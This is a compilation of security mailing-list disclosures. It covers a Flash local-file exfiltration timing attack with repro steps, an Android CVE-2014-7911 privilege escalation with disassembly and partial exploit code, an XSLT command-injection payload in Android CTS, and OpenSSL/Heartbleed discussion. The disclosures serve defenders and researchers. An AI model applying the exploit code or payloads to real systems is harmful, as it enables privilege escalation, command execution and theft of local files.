[FD] Flash: Local SWF files can leak arbitrary local files to the internet
Summary: Flash by design allows local SWF files to read arbitrary local files, but prevents communication with remote servers. By smuggling data through a timing side-channel, this can be circumvented, allowing local SWF files to exfiltrate the contents of arbitrary local files to the internet. Some more details: Flash runs normal local SWF files under local-with-file-system restrictions, which are documented at http://help.adobe.com/en_US/AS2LCR/Flash_10.0/help.html?content=0462.html. As http://help.adobe.com/en_US/AS2LCR/Flash_10.0/help.html?content=0452.html explains: For security purposes, Flash Player places all local SWF files, including all legacy local SWF files, in the local-with-file-system sandbox, by default (unless some other setting is made). For some legacy SWF files (Flash Player 7 and earlier), operations could be affected by enforcing restrictions on their access (no outside network access), but this provides the most secure default for the users' protection. From this sandbox, SWF files may read from files on local file systems or UNC network paths (by using the XML.load() method, for example), but they may not communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared. The following was only tested in Google Chrome. When multiple SWF files are running in the same browser (but in different frames or tabs), only one of them can run ActionScript code at a time. This means that a local SWF file can leak information to a network-loaded SWF file by busylooping, which delays the processing of ExternalInterface calls to the network-loaded SWF file. (Apparently local HTML files can't interact with network-loaded SWF files, but the local HTML file can just frame an HTML file with http origin which in turn loads the SWF file with http origin.) Chrome prevents downloads of files with a .swf file extension to mitigate against attacks on the local-with-file-system rules, but that doesn't prevent an attacker from embedding a file with a different extension as SWF (https://code.google.com/p/chromium/issues/detail?id=487475, WontFix). I made a PoC that only requires the victim to download one malicious HTML file and open it locally. Repro steps: - go to https://var.thejh.net/flash_HigNabIalOt6/download.html in Chrome - click the download link - open the downloaded file (by clicking on the item in the downloads bar) - replace file:///etc/passwd with the file URI to some local file - press run You should see the contents of the file appear in the red box, one character every 8 seconds or so. (Yes, it's really slow - I'm sure it'd be possible to do this much faster, but for a PoC, I think it's enough.) Note that, as this is a timing attack, less errors occur if the computer is mostly idle. Sources of the PoC are at https://var.thejh.net/flash_local_poc.zip. This issue was reported to Adobe PSIRT 2015-04-26. They confirmed that they got the report, but still haven't told me whether they consider this to be a fixable issue or a wontfix. So, in other words: Yet another reason why you shouldn't open untrusted HTML files from the local disk. ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
[FD] CVE-2014-7911: Android 5.0 Privilege Escalation using ObjectInputStream
In Android 5.0, java.io.ObjectInputStream did not check whether the Object that
is being deserialized is actually serializable. That issue was fixed in Android
5.0 with this commit:
https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2
This means that when ObjectInputStream is used on untrusted inputs, an attacker
can cause an instance of any class with a non-private parameterless constructor
to be created. All fields of that instance can be set to arbitrary values. The
malicious object will then typically either be ignored or cast to a type to
which it doesn't fit, implying that no methods will be called on it and no data
from it will be used. However, when it is collected by the GC, the GC will call
the object's finalize method.
The android system_service runs under uid 1000 and can change into the context
of any app, install new applications with arbitrary permissions and so on. Apps
can talk to it using Intents with attached Bundles, Bundles are transferred as
arraymap Parcels and arraymap Parcels can contain serialized data. This means
that any app can attack the system_service this way.
The class android.os.BinderProxy contains a finalize method that calls into
native code. This native code will then use the values of two fields of type
int/long (depends on the Android version), cast them to pointers and follow
them. On Android 4.4.3, this is where one of those pointers ends up. r0
contains the attacker-supplied pointer, and if the attacker can insert data
into the process at a known address, he ends up gaining arbitrary code
execution in system_server:
# attacker controls pointer in r0
d1c0 android::RefBase::decStrong(void const*) const:
d1c0: b570push{r4, r5, r6, lr}
d1c2: 4605mov r5, r0
d1c4: 6844ldr r4, [r0, #4] # attacker controls r4
d1c6: 460emov r6, r1
d1c8: 4620mov r0, r4
d1ca: f7fd e922 blx a410 android_atomic_dec@plt
d1ce: 2801cmp r0, #1
d1d0: d10bbne.n d1ea
android::RefBase::decStrong(void const*) const+0x2a
d1d2: 68a0ldr r0, [r4, #8] # attacker controls r0
d1d4: 4631mov r1, r6
d1d6: 6803ldr r3, [r0, #0] # attacker controls r3
d1d8: 68daldr r2, [r3, #12] # attacker controls r2
d1da: 4790blx r2 # jump into
attacker-controlled r2 pointer
Android does have ASLR, but like all apps, system_server is forked from the
zygote process - in other words, all apps have the same basic memory layout as
system_server and should therefore be able to circumvent system_server's ASLR.
Here's my crash PoC code. Put it in an android app, install that app, open it.
If nothing happens, the GC might be taking its time - try doing other stuff or
reopening the PoC app or so. Your device should do something like a reboot
after a few seconds.
===
package net.thejh.badserial;
import java.io.Serializable;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import dalvik.system.DexClassLoader;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.UserHandle;
import android.os.UserManager;
import android.util.Log;
public class MainActivity extends Activity {
private static final java.lang.String DESCRIPTOR =
android.os.IUserManager;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote;
public void setApplicationRestrictions(java.lang.String packageName,
android.os.Bundle restrictions, int userHandle) throws
android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' data[i+1] == 'A' data[i+2] ==
'd' data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data =
Re: [FD] CVE request: remote code execution in Android CTS
On Sun, Oct 19, 2014 at 07:28:33PM +1000, Lord Tuskington wrote: CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING option. See lines 60-67 of cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java: InputStream xsl = CtsApiCoverage.class.getResourceAsStream(/api-coverage.xsl); Is this file on the android device or on the PC? xsl:variable name=Command![CDATA[calc.exe]]/xsl:variable This causes calc.exe to be run on the PC, right? signature.asc Description: Digital signature ___ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
Re: [FD] Legitimacy of new Heartbleed exploit?
On Fri, Apr 25, 2014 at 08:18:04AM -1000, Dillon Korman wrote: Saw a link to this: http://pastebin.com/qPxR9BRv Do you think there really is a working exploit on new versions of OpenSSL? It's bullshit. They say: 'A missing bounds check in the handling of the variable DOPENSSL_NO_HEARTBEATS'. That's not a variable, the D is not actually part of the name, and it's a compile-time macro that configures whether heartbeats will be compiled in or not. And because it's a compile-time thing, it's nothing that an attacker could ever influence. signature.asc Description: Digital signature ___ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
Re: [FD] heartbleed OpenSSL bug CVE-2014-0160
On Wed, Apr 09, 2014 at 09:59:59PM -0400, Peter Malone wrote:
Unless I'm mistaken, the following memcmp is vulnerable to a remote
timing attack.
https://github.com/openssl/openssl/blob/master/ssl/ssl_lib.c#L1974
static int ssl_session_cmp(const SSL_SESSION *a,const SSL_SESSION *b)
{
if (a-ssl_version != b-ssl_version)
return(1);
if (a-session_id_length != b-session_id_length)
return(1);
return(memcmp(a-session_id,b-session_id,a-session_id_length));
}
Not used anywhere though, just a corpse lying around in the code.
signature.asc
Description: Digital signature
___
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives RSS: http://seclists.org/fulldisclosure/
Re: [FD] heartbleed OpenSSL bug CVE-2014-0160
On Tue, Apr 08, 2014 at 01:30:11PM +, Chris Schmidt wrote: The bug is in the TLS implementation in OpenSSL, you will only see it on https Not true, e.g. SMTP servers that support STARTTLS are also affected. signature.asc Description: Digital signature ___ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
